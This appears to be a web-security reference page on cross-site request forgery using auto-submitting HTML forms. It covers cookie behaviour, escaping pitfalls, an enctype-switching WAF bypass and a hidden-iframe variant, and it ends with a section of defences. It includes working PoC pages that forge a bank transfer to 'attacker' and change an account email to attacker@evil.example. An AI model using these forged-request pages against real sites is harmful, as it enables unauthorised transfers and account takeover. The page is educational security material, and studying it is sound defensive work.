Auto-Submitting Forms
The urlencoded and multipart form: the only primitive that issues a cross-site request with a body, ambient credentials, and no preflight.
Why the form is special
The HTML form predates the same-origin policy, CORS, and every modern security header. It has never been subject to any of them, and it cannot be without breaking a large fraction of the web. That makes it the single most capable CSRF primitive:
- It issues a cross-origin request with a body.
- It attaches ambient credentials automatically.
- It never preflights, because a form can only emit the three CORS-safelisted content types.
- It is a top-level navigation, which is the only shape that still carries a
Laxor unset cookie.
Everything else on this site is a weaker version of it. fetch can set more headers but preflights and is a subresource. <img> is silent but cannot carry a body. The form is the baseline, and if a form cannot reach the endpoint, usually nothing can.
Its one limit is the method: HTML supports GET and POST and nothing else. A method="PUT" attribute does not error, it silently falls back to GET — which is how a hand-written PoC ends up testing something other than what it claims. Work around it with a method override.
The standard form
<!doctype html>
<html>
<body>
<form id="poc" action="https://bank.example/transfer" method="POST"
enctype="application/x-www-form-urlencoded">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="5000" />
</form>
<!-- Submitted from an inline script rather than <body onload> so the PoC
survives a host whose CSP forbids inline event handlers but allows
inline scripts, and so it fires before the page can be read. -->
<script>document.getElementById('poc').submit()</script>
</body>
</html>The escaping rule that breaks hand-written PoCs
Values in a form PoC are HTML-escaped, not URL-escaped. The browser decodes the attribute first, then applies the enctype's own encoding. Escape twice and you ship a literal " or %26 in the request body.
So for value="a&b" you write value="a&b" — the HTML entity — and the browser sends a%26b on the wire. Writing value="a%26b" sends the literal five characters a%26b, which is a different value.
This is the most common reason a PoC "doesn't work" against an endpoint that is genuinely vulnerable, and it gets worse with the text/plain JSON trick, where the field name is full of double quotes that all need escaping. The PoC Generator handles both layers; the build fails if it ever stops round-tripping.
The three enctypes
Multipart and file upload
<!doctype html>
<html>
<body>
<!-- Worth trying whenever the urlencoded version is rejected. A WAF or a
framework middleware that parses one encoding and not the other is a
common and easily-missed bypass. -->
<form id="poc" action="https://app.example/settings" method="POST"
enctype="multipart/form-data">
<input type="hidden" name="email" value="attacker@evil.example" />
</form>
<script>document.getElementById('poc').submit()</script>
</body>
</html>Submitting into a frame costs you the attack
<!doctype html>
<html>
<body>
<!-- A tempting trick: aim the submit at a hidden iframe so the victim
never leaves the attacker's page.
In 2026 this usually DESTROYS the attack. Submitting into a named
frame is a subresource navigation, not a top-level one -- so the
request loses the one property that still earns it a cookie under
Lax or an unset attribute. It works only against SameSite=None, and
then only in Chromium.
Use it when you have confirmed SameSite=None. Otherwise accept the
visible navigation, or use a popup, which stays top-level. -->
<form id="poc" action="https://bank.example/transfer" method="POST" target="sink">
<input type="hidden" name="to" value="attacker" />
</form>
<iframe name="sink" style="display:none"></iframe>
<script>document.getElementById('poc').submit()</script>
</body>
</html>Prevention
A form request is indistinguishable from a legitimate one at the body level, so the defence has to be a parameter the attacker cannot supply or a header they cannot forge:
- A synchronizer token on every state-changing route. See The Synchronizer Token.
- Reject
Sec-Fetch-Site: cross-sitefor state-changing requests. A form navigation sendsSec-Fetch-Site: cross-siteandSec-Fetch-Mode: navigate; the browser sets both and a page cannot override them. This is the cheapest effective control available in 2026 — see Origin, Referer, and Fetch Metadata. SameSite=Laxexplicitly, so the behaviour is the same in every engine rather than Chromium-only.- Enforce the content type. An API that requires
application/jsonand rejects everything else cannot be reached by any form, because a form cannot emit it. Reject, do not merely prefer. - Re-authenticate for high-value actions — password change, email change, adding a payment method. A form cannot supply the current password.
Related
img, script, link, scripted link clicks, and top-level navigation — and why only the last one still carries a cookie.
Smuggling a JSON document through enctype="text/plain", content-type confusion in body parsers, and GraphQL over GET and form encodings.
mode: 'no-cors', credentials: 'include', the safelisted-header guard, and the opaque response.
Exactly when Lax, Strict, None, and an absent attribute attach a cookie to a cross-site request — and why the three engines disagree.
A server-side token bound to the session, plus the lifecycle questions: per-request versus per-session, rotation, BREACH masking, and back-button breakage.
GET and POST routing, _method and X-HTTP-Method-Override, and body parsers that ignore the declared content type.
Sec-Fetch-Site, Mode and Dest, Origin checks done correctly, the missing-header decision, and Resource Isolation Policy.